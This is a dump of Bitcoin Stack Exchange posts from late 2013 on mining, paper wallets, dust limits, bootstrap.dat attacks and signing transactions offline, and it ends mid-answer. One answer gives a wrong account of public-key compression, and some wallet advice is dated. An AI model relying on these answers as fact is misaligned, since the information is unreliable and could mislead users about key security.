  <row Id="17937" PostTypeId="1" CreationDate="2013-12-04T10:50:04.070" Score="1" ViewCount="1115" Body="&lt;p&gt;Next week i will be mining with a total of 13Mh/s with my rigs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What wifi bandwidth do i need to install? I've no idea how much wi-fi bandwidth is needed. I was thinking of using a 3G USB of 1GB limit/month if it is not required much bandwidth. Is it enough?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="10088" LastActivityDate="2014-01-31T02:44:10.713" Title="Litecoin mining wifi bandwidth requirements" Tags="|litecoin|" AnswerCount="0" CommentCount="0" ClosedDate="2014-02-09T21:09:15.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="17939" PostTypeId="2" ParentId="1080" CreationDate="2013-12-04T11:34:56.063" Score="2" Body="&lt;p&gt;I read all of your answers, and I couldn't help wondering... whats wrong with writing down the actual private keys on a piece of paper?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did was following: I ran &lt;strong&gt;listunspent&lt;/strong&gt; in the console first, to obtain the list of addresses worth safeguarding. Then I ran &lt;strong&gt;dumpprivkey&lt;/strong&gt; for each and every address. I printed out what I got... did I do anything wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To optimize the whole process, I could do a payment to myself to a fresh address of mine, to transfer everything I got to that address. After necessary confirmations, &lt;strong&gt;listunspent&lt;/strong&gt; would retrieve only one address, wouldn't it?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call it &lt;em&gt;a poor man paper wallet&lt;/em&gt;, but this is pretty simple and straightforward, isn't it?&lt;/p&gt;&#xA;" OwnerUserId="10090" LastActivityDate="2013-12-04T11:34:56.063" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17940" PostTypeId="2" ParentId="17936" CreationDate="2013-12-04T11:50:54.433" Score="2" Body="&lt;p&gt;By the looks of things the transaction never made it to the network from your client. Find the &quot;reset blockchain&quot; button in Multibit and wait for it to recover. You won't lose any funds (the ones you &quot;sent&quot; never left) and then you can give it another shot. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-04T11:50:54.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17941" PostTypeId="2" ParentId="17934" CreationDate="2013-12-04T11:53:40.667" Score="1" Body="&lt;p&gt;You can not send transactions that small. The minimum is 0.00005460 BTC, anything smaller is called dust and will not be accepted into the network. You will most likely need to pay a fee with something with this little priority, which will cost you more than the amount you're sending. Bitcoin is not intended for micro transactions. Also bear in mind that collecting a lot of transactions this small will cost you more in fees to spend them again than the value of the coins. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-04T11:53:40.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17942" PostTypeId="2" ParentId="17935" CreationDate="2013-12-04T11:57:43.733" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How exactly do they differ, security wise?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Who knows really. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no guidelines, no proper protocol specifications, no sample code. Depending on the implementation you can have 4 different recommended services showing multiple conflicting balances for an address, which is clearly a risk if anybody wanted to use the terrible system for anything serious. Even the creator &quot;dacoinminister&quot; seems to have very little except for a vague notion of how things will work, and just dismisses questions like this with hand-waving and &quot;it'll work itself out&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, nobody can tell if you if it is &quot;secure&quot;, because &quot;it&quot; really doesn't have a definition. Nobody asks about security because it's dump-and-dump amateur hour. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-04T11:57:43.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17943" PostTypeId="2" ParentId="17930" CreationDate="2013-12-04T12:01:38.783" Score="1" Body="&lt;p&gt;You can quickly import your wallet to blockchain.info, which will give you instant access to your funds. From there you can send them back to a usable wallet on your Mac, such as Electrum or MultiBit which don't require lengthy synchronisation times. I do not recommend you leave your funds in a web-based wallet like Blockchain.info's for longer than you need to, but they are generally regarded as being trustworthy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find your &lt;code&gt;wallet.dat&lt;/code&gt; in &lt;code&gt;/Users/&amp;lt;name&amp;gt;/Library/Application Support/Bitcoin/&lt;/code&gt;, and follow the instructions on the page below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/import-wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some alternative, fast syncing Mac clients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-04T12:01:38.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17945" PostTypeId="2" ParentId="17935" CreationDate="2013-12-04T12:04:37.187" Score="0" Body="&lt;p&gt;Mastercoin isn't based on bitcoin in the same sense that other alt-coins are based on bitcoin. Mastercoin adds smart contracts/property to the original Bitcoin blockchain. Mastercoin doesn't introduce its own blockchain. And thus Mastercoin is no simple fork with different parameters (like so many other alt-coins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Mastercoin lives within the blockchain of Bitcoin it can't really add any extra security. A compromised bitcoin is a compromised master coin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra rules which Mastercoin implements can be viewed as extra security. But these are rules which could also be implemented in Bitcoin itself. And its the question if that actually works. &lt;/p&gt;&#xA;" OwnerUserId="4764" LastActivityDate="2013-12-04T12:04:37.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17946" PostTypeId="2" ParentId="17924" CreationDate="2013-12-04T12:43:42.780" Score="0" Body="&lt;p&gt;Can you re-install bitcoin-qt and open the wallet again? Maybe all the addresses are there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about your account at Mt. Gox? If you transferred the coins from Mt. Gox, you should be able to look up the transaction on blockchain.info. Either the sending address still has the coins, or the receiving address does.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-12-04T12:43:42.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17947" PostTypeId="1" CreationDate="2013-12-04T12:50:53.543" Score="3" ViewCount="6854" Body="&lt;p&gt;I have managed to connect to the pool via the command line but when I went to manage devices it says I have none. I tried to use auto and all commands to add the GPU and seemingly it will not pick it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it even possible to use a amd m880g?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice appriciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&#xA;I have also found the same is true with cgminer. Is it impossible to use this card?&lt;/p&gt;&#xA;" OwnerUserId="10095" LastEditorUserId="2306" LastEditDate="2016-02-05T17:42:08.383" LastActivityDate="2016-02-05T17:42:08.383" Title="Can I mine with BFGMiner on an ATI Radeon" Tags="|cgminer|gpu|bfgminer|mining-setup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17949" PostTypeId="2" ParentId="17732" CreationDate="2013-12-04T13:19:33.960" Score="1" Body="&lt;p&gt;Yes you can use just about any bitcoin client to do this - bitcoin-qt, electrum, multibit, armory etc. They can all generate private keys and addresses offline.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2013-12-04T13:19:33.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17951" PostTypeId="2" ParentId="17920" CreationDate="2013-12-04T13:45:36.497" Score="3" Body="&lt;p&gt;Well Google, or any other search-engine, already crawls the Web for you. Probably just Googling an address will lead you to the Website where its owner published it, and it'll allow you to find other relevant information related to that address. This of course assuming the publisher of the website actually owns that address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only real way to prove that someone owns an address is for them to actually sign a transaction using that address - in other words: they can prove to you they own an address by making a payment of a specific amount using that address. &lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2013-12-04T13:52:16.663" LastActivityDate="2013-12-04T13:52:16.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17952" PostTypeId="2" ParentId="17885" CreationDate="2013-12-04T14:21:16.123" Score="3" Body="&lt;p&gt;A bitcoin address is considered odd when the Y value in the public key is odd. This is useful to know because public keys can be compressed by replacing a really long odd Y value such as 23324234324675756756742983749 with a small odd value such as 3, which accomplishes the same thing.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-04T14:21:16.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17954" PostTypeId="1" AcceptedAnswerId="17955" CreationDate="2013-12-04T14:54:23.010" Score="0" ViewCount="250" Body="&lt;p&gt;I don't have much space on my / (~12GB) so I would like to install bitcoin-qt to some other drive with free space (since the data files will take around 10GB after synchronization). How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="9410" LastActivityDate="2013-12-04T15:52:27.423" Title="Choose where to install bitcoin-qt (linux)" Tags="|bitcoin-core|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17955" PostTypeId="2" ParentId="17954" CreationDate="2013-12-04T15:52:27.423" Score="2" Body="&lt;p&gt;Run bitcoin with the flag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-datadir=&amp;lt;path to a directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-12-04T15:52:27.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17956" PostTypeId="2" ParentId="66" CreationDate="2013-12-04T16:08:06.800" Score="2" Body="&lt;p&gt;Understanding bitcoin price behavior with the &lt;a href=&quot;http://en.wikipedia.org/wiki/Quantity_theory_of_money&quot; rel=&quot;nofollow&quot;&gt;Quantity theory of money&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;M · V = P · Q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Money supply times the Velocity of money equals the Price level times the Quantity of goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several arguments against the success of Bitcoin are doing the round:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bitcoin is a bubble, the present $1000+ price level bears no relation to the small bitcoin economy.&lt;/li&gt;&#xA;&lt;li&gt;People are hoarding bitcoin and not using it. How can that possibly be a successful currency?&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin has a deflation problem. The general price level would have to keep falling to accommodate the growing bitcoin economy, given the fixed supply of bitcoin. (And somehow predictable deflation is assumed to be a bad thing.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;People could use this theory to 'prove' that when the money supply M is fixed and the economy Q grows, the price level P must drop to accommodate it, which would mean deflation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But then you are falsely assuming V, the velocity of money, to be&#xA;  constant.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What happens when people expect a drop in price level P? They will postpone spending. You know your bitcoins will be worth more tomorrow, so there is a free profit to be had. This drop in spending now would mean there is less bitcoin chasing after goods today. People are hoarding bitcoin. Price levels in bitcoin will adjust, going down today. Saying that the price level in bitcoin goes down, is the same as saying the value of a bitcoin goes up.&#xA;This hoarding will continue until the expected change in price level does not provide a free lunch anymore. In a bitcoin economy with a fixed money supply it can't be the Price level adjusting to the growing economy. It is the amount of bitcoin used in spending, or the Velocity of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People will hold on to their bitcoin at first. The bitcoin value should be expected to climb rapidly and stabilize. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So what the Quantity theory of money shows us is:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The price of a bitcoin should be expected to move now, to a level fitting the size of the future bitcoin economy. Assuming bitcoin adoption, the $1000+ price is rational given the low market capitalization compared to that needed in a reasonably sized future bitcoin economy.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin hoarding is normal. The velocity of bitcoin will be higher tomorrow than it is today. Bitcoin hoarding is a logical consequence of the expected growth in the bitcoin economy in combination with the limited supply of bitcoin. It is rational and here to stay for the foreseeable future.&lt;/li&gt;&#xA;&lt;li&gt;There will be no constant deflation. The price level, or the value of a bitcoin, will jump to a level that fits the expected size of the future bitcoin economy. It is the velocity of money, or the number of bitcoin actually used in spending, that will adjust to the growing economy, not the price level.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Deflation:&#xA;Because the monetary base of bitcoins cannot be expanded, the currency would be subject to severe deflation if it becomes widely used. Keynesian economists argue that deflation is bad for an economy because it incentivises individuals and businesses to save money rather than invest in businesses and create jobs. The Austrian school of thought counters this criticism, claiming that as deflation occurs in all stages of production, entrepreneurs who invest benefit from it. As a result, profit ratios tend to stay the same and only their magnitudes change. In other words, in a deflationary environment, goods and services decrease in price, but at the same time the cost for the production of these goods and services tend to decrease proportionally, effectively not affecting profits. Price deflation encourages an increase in hoarding — hence savings — which in turn tends to lower interest rates and increase the incentive for entrepreneurs to invest in projects of longer term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://zeroprofits.blogspot.com/2013/12/bitcoin-high-price-and-hoarding-is.html&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="9591" LastEditDate="2013-12-04T16:45:49.653" LastActivityDate="2013-12-04T16:45:49.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17958" PostTypeId="2" ParentId="5614" CreationDate="2013-12-04T16:24:58.967" Score="0" Body="&lt;p&gt;I believe it is feasible way to do that :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is a catch: once you have done that, you should not use &lt;em&gt;that&lt;/em&gt; wallet for payments. Otherwise you'll risk your funds being moved to some hidden addresses your paper wallet knows nothing about. Every payment you make from the original wallet invalidates your paper wallet. For that reason you may want to backup your &lt;strong&gt;wallet.dat&lt;/strong&gt; on a USB-stick (or CDROM or both) as soon as you print out your paper wallet, for fast retrieval, if needed, and then &lt;strong&gt;delete wallet.dat&lt;/strong&gt; from your hard drive. Putting &lt;strong&gt;wallet.dat&lt;/strong&gt; out of use is a logically consistent step, since the very idea of paper wallet means taking your funds off-line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may still send funds to that address of yours, though.&lt;/p&gt;&#xA;" OwnerUserId="10090" LastActivityDate="2013-12-04T16:24:58.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17959" PostTypeId="1" CreationDate="2013-12-04T16:45:35.953" Score="1" ViewCount="88" Body="&lt;p&gt;instead of maintaining digital wallet and syncing the blockchain, is it okay if I just use paper wallet now and later import the addresses in digital wallet?&#xA;Will I get all my transactions to show up in digital wallet?&lt;/p&gt;&#xA;" OwnerUserId="10107" LastActivityDate="2013-12-04T17:02:54.343" Title="Maintaining bitcoins" Tags="|wallet|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17960" PostTypeId="1" CreationDate="2013-12-04T16:47:35.653" Score="3" ViewCount="697" Body="&lt;p&gt;The standard Bitcoin client normally needs to download the entire blockchain from the p2p network when first installed, but a shortcut is to provide it with a snapshot of the blockchain (at some point in time) in a file called &lt;code&gt;bootstrap.dat&lt;/code&gt;.  One can get this file from various sites and file sharing mechanisms such as BitTorrent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the blocks taken from &lt;code&gt;bootstrap.dat&lt;/code&gt; are not subjected to all the same checks as those downloaded from the p2p network (see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17365/what-exactly-is-checked-at-various-checklevels&quot;&gt;this question&lt;/a&gt;).  Therefore, an attacker might be able to get you to accept some invalid blocks by giving you a malicious &lt;code&gt;bootstrap.dat&lt;/code&gt;.  What, if anything, could they accomplish in this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if signatures are not verified for transactions coming from &lt;code&gt;bootstrap.dat&lt;/code&gt;, the attacker might include a bogus transaction appearing to send a bunch of coins to one of their addresses.  They could then convince you that they hold more coins than they actually do.  But it's not clear how useful that would be; if they actually try to send you those nonexistent coins in payment for something, your client might believe the transaction is valid, but miners won't be fooled and the transaction will never confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other attacks I have not thought of?&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-12-04T20:06:39.837" Title="What attacks are possible with a malicious bootstrap.dat?" Tags="|blockchain|bitcoin-core|attack|bootstrap.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17961" PostTypeId="2" ParentId="17959" CreationDate="2013-12-04T16:49:05.033" Score="1" Body="&lt;p&gt;Yes, that should work fine.  When you import a key from a paper wallet, the computer wallet should scan the transaction history and pick up all previous transactions involving the newly added address.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-04T16:49:05.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17962" PostTypeId="2" ParentId="17959" CreationDate="2013-12-04T17:02:54.343" Score="3" Body="&lt;p&gt;Yes that would work. In fact, depending on the wallet, you can even import the address (the &lt;em&gt;public&lt;/em&gt; part) and see the transactions. Only when you want to &lt;em&gt;send&lt;/em&gt; bitcoins would you need to import the private key.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-12-04T17:02:54.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17963" PostTypeId="2" ParentId="17329" CreationDate="2013-12-04T17:07:49.940" Score="0" Body="&lt;p&gt;this was a gui bug; the menu did not really export private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fixed here: &lt;a href=&quot;https://github.com/spesmilo/electrum/commit/3fc7d0ef9e34465a47017ffa1f567d829aa0f2a2&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum/commit/3fc7d0ef9e34465a47017ffa1f567d829aa0f2a2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10109" LastActivityDate="2013-12-04T17:07:49.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17966" PostTypeId="1" AcceptedAnswerId="17975" CreationDate="2013-12-04T18:04:26.817" Score="8" ViewCount="702" Body="&lt;p&gt;Armory supports offline transactions nicely, but doesn't support compressed keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A number of other ways exist for creating offline transactions, but all of them - every single one I've seen - requires one to manually create a raw transaction. This has previously resulted in accidentally sending a huge fee, and I've seen people say &lt;strong&gt;&quot;do &lt;em&gt;NOT&lt;/em&gt; create a raw transaction unless you're a bitcoin expert&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no bitcoin expert, that's for sure. How do I make sure I create a &quot;safe&quot; transaction offline? I've seen Brainwallet's and Coinbase's services, are these foolproof? They show some JSON but I'm not exactly sure I would spot if something was amiss in that JSON...&lt;/p&gt;&#xA;" OwnerUserId="10113" LastActivityDate="2013-12-05T11:48:01.750" Title="How to safely spend from a compressed key offline?" Tags="|offline|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17967" PostTypeId="2" ParentId="17966" CreationDate="2013-12-04T18:15:21.717" Score="0" Body="&lt;p&gt;Install electrum on the offline system and import the private key into that. Then run the deseed command to create a watch only version of the wallet: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;electrum deseed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(You can also explicitly specify a wallet file using the -w switch)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you move the seedless wallet to an online system and create a transaction there, save it to a USB drive, open it up and sign it on the offline system and save the signed transaction on the USB drive for broadcast using the online system. Yes it is convoluted but it works.&lt;/p&gt;&#xA;" OwnerUserId="5273" LastEditorUserId="5273" LastEditDate="2013-12-05T11:48:01.750" LastActivityDate="2013-12-05T11:48:01.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17968" PostTypeId="1" CreationDate="2013-12-04T18:59:02.633" Score="3" ViewCount="1221" Body="&lt;p&gt;...or is each client responsible for storing hashes for blocks and transactions in their own database? So when I send a transaction, I indicate the prev_out by its hash, and I just assume everyone on the network will know what that hash means, even though it's not specifically, literally IN the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is blockexplorer.com doing me a favor by listing the hash for this raw Tx? Or is that hash actually sent by the original transaction-sender?&#xA;&lt;a href=&quot;http://blockexplorer.com/rawtx/85dce726e04af12eaaa716d00c753e2b7d6eb83a04c2c20e1b71a63d9512f03a&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawtx/85dce726e04af12eaaa716d00c753e2b7d6eb83a04c2c20e1b71a63d9512f03a&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2014-01-11T17:58:50.540" Title="Are any hashes (Tx or block) actually stored in the blockchain?" Tags="|transactions|blockchain|hash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17969" PostTypeId="1" CreationDate="2013-12-04T19:04:25.487" Score="-5" ViewCount="349" Body="&lt;p&gt;If banks are what one wants to escape, as the banking system is corrupt. Therefore seeking an alternative currency, aka Bitcoin. How do you detach your life from the bankers? How is Bitcoin private? Isn't this what Bitcoin was supposed to do is provide an alternative to the money masters that have reigned supreme since 1913?&lt;/p&gt;&#xA;" OwnerUserId="10119" LastActivityDate="2013-12-05T23:54:10.607" Title="How can someone participate in Bitcoin reliably without a bank account?" Tags="|banks|" AnswerCount="2" CommentCount="3" ClosedDate="2013-12-13T09:19:59.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="17971" PostTypeId="2" ParentId="17969" CreationDate="2013-12-04T19:17:27.390" Score="3" Body="&lt;p&gt;While buying from the major exchanges requires a bank account, you can buy from individuals using any form of payment you agree upon, such as cash or prepaid cards. If you don't know anyone with bitcoin to sell, try &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;localbitcoins.com&lt;/a&gt; or Craigslist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is to sell something and accept bitcoin as payment.&lt;/p&gt;&#xA;" OwnerDisplayName="user10120" LastEditorDisplayName="user10120" LastEditDate="2013-12-05T18:16:49.043" LastActivityDate="2013-12-05T18:16:49.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17972" PostTypeId="2" ParentId="17968" CreationDate="2013-12-04T19:44:00.637" Score="-1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running an official bitcoin client, you more than likely have a copy of the entire blockchain downloaded to your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain contains everything required to validate a transaction - no third party data sources are ever used by the core bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the input transaction (included in block 205061) which your example (included in block 273061) references in the raw blockchain at &lt;a href=&quot;http://blockexplorer.com/rawblock/000000000000026190ebd9560f94b8d0534c6cd6fd585bf6fdb54610e6b676c3&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/rawblock/000000000000026190ebd9560f94b8d0534c6cd6fd585bf6fdb54610e6b676c3&lt;/a&gt; (Ctrl+F for 9332ffc1da5dfdaef8b82b10a49224ff4bef6468491622968c517deb9f96889c)&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-04T19:44:00.637" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17973" PostTypeId="2" ParentId="17960" CreationDate="2013-12-04T20:06:39.837" Score="1" Body="&lt;p&gt;You can fake an entire history of transactions and blocks perfectly, but unless you can get a majority of clients approved it's useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure majority is defined as 51%, because there crypto is more complicated then that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But look up how transactions get verified&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically it depends on the lower level procedures which decide which clients to confirm against and you'd need to get majority of those just to fool your client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because when an error is detected they all start communicating it&lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-12-04T20:06:39.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17974" PostTypeId="1" CreationDate="2013-12-04T20:25:29.707" Score="3" ViewCount="174" Body="&lt;p&gt;What keeps a person or company from creating an app like Armory but if you select &quot;import or restore wallet&quot; just emailing them your wallet key after you enter it and draining your account?&lt;/p&gt;&#xA;" OwnerUserId="10126" LastActivityDate="2013-12-04T20:43:16.737" Title="What keeps someone from creating a malicious wallet app?" Tags="|wallet|fraud|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17975" PostTypeId="2" ParentId="17966" CreationDate="2013-12-04T20:26:34.197" Score="5" Body="&lt;p&gt;Creating a manual offline transaction isn't super difficult, you just need to be careful and think about what you're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have the public bitcoin address and the private key before continuing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I do (This assumes you are sending some BTC to one address, some back to yourself as change and some as a transaction fee)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a bootable Live linux CD&lt;/li&gt;&#xA;&lt;li&gt;Download &lt;a href=&quot;https://github.com/brainwallet/brainwallet.github.com/archive/master.zip&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/brainwallet/brainwallet.github.com/archive/master.zip&lt;/a&gt; and save it to a USB memory stick.&lt;/li&gt;&#xA;&lt;li&gt;Open &lt;a href=&quot;https://blockchain.info/unspent?address=1publicbitcoinaddress&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/unspent?address=1publicbitcoinaddress&lt;/a&gt; and pasted it into a text editor&lt;/li&gt;&#xA;&lt;li&gt;This (from 3) is a list of all the unspent transactions for the bitcoin address, I like to manually pick the transactions I want to use as inputs.  eg. if I want to send 1 bitcoin, I might reference a 0.5 and an 0.6 BTC transaction rather than a 5BTC transaction.&lt;/li&gt;&#xA;&lt;li&gt;Remember that the transactions are in 1/100,000,000ths of a bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;Remove the transactions you don't want to use as inputs, to do this, delete the transaction from the text editor including the &quot;{&quot; and the &quot;},&quot;&lt;/li&gt;&#xA;&lt;li&gt;If you removed the last transaction in the list, check that there isn't a comma after the last transaction.&lt;/li&gt;&#xA;&lt;li&gt;Save the contents of this text file to the USB stick with the brainwallet code.&lt;/li&gt;&#xA;&lt;li&gt;Shut Down, disconnect your computer from the network, disconnect the hard drive(s) and boot into the live linux CD.&lt;/li&gt;&#xA;&lt;li&gt;Open the brainwallet code in an internet browser&lt;/li&gt;&#xA;&lt;li&gt;If your private key starts with a 5 (uncompressed) or an L (compressed), skip onto step 15.&lt;/li&gt;&#xA;&lt;li&gt;You need to convert your private key to a format which starts with a 5 or an L.&lt;/li&gt;&#xA;&lt;li&gt;If it's a 64 character hex code, type it into the &quot;secret exponent&quot; section of the generator tab and copy the private key.&lt;/li&gt;&#xA;&lt;li&gt;If it's a brainwallet (passphrase), type your passphrase into the &quot;passphrase&quot; section of the generator tab and copy the private key&lt;/li&gt;&#xA;&lt;li&gt;Go to the transactions tab&lt;/li&gt;&#xA;&lt;li&gt;Type in the private key, click Cancel when asked to download the transaction history (it won't work as you're air gapped anyway).&lt;/li&gt;&#xA;&lt;li&gt;Verify that the &quot;Source address&quot; is your bitcoin address&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Edit Inputs&quot; and paste in the test of the unspent transactions.&lt;/li&gt;&#xA;&lt;li&gt;The BTC box next to source address will update to show the value of the transactions you've selected - This is the number of bitcoins you will loose if you mess up transaction fees, so be careful.&lt;/li&gt;&#xA;&lt;li&gt;Take the number of bitcoins from 19 and subtract your transaction fee (eg: 0.0003) - The result is the number of BTC you need to spend (including change).&lt;/li&gt;&#xA;&lt;li&gt;Edit the Destination address to be the address you want to pay and set the amount.&lt;/li&gt;&#xA;&lt;li&gt;Click the [+] button to add another destination address and enter your bitcoin address (for change) and set the amount to be the result from 20 minus the payment to your destination.&lt;/li&gt;&#xA;&lt;li&gt;Now, on a calculator, add up the two payment amounts and add in your transaction fee.  This should perfectly match the amount in the reference transactions from step 19.&lt;/li&gt;&#xA;&lt;li&gt;Scroll to the bottom and click Re-sign.  This signs the 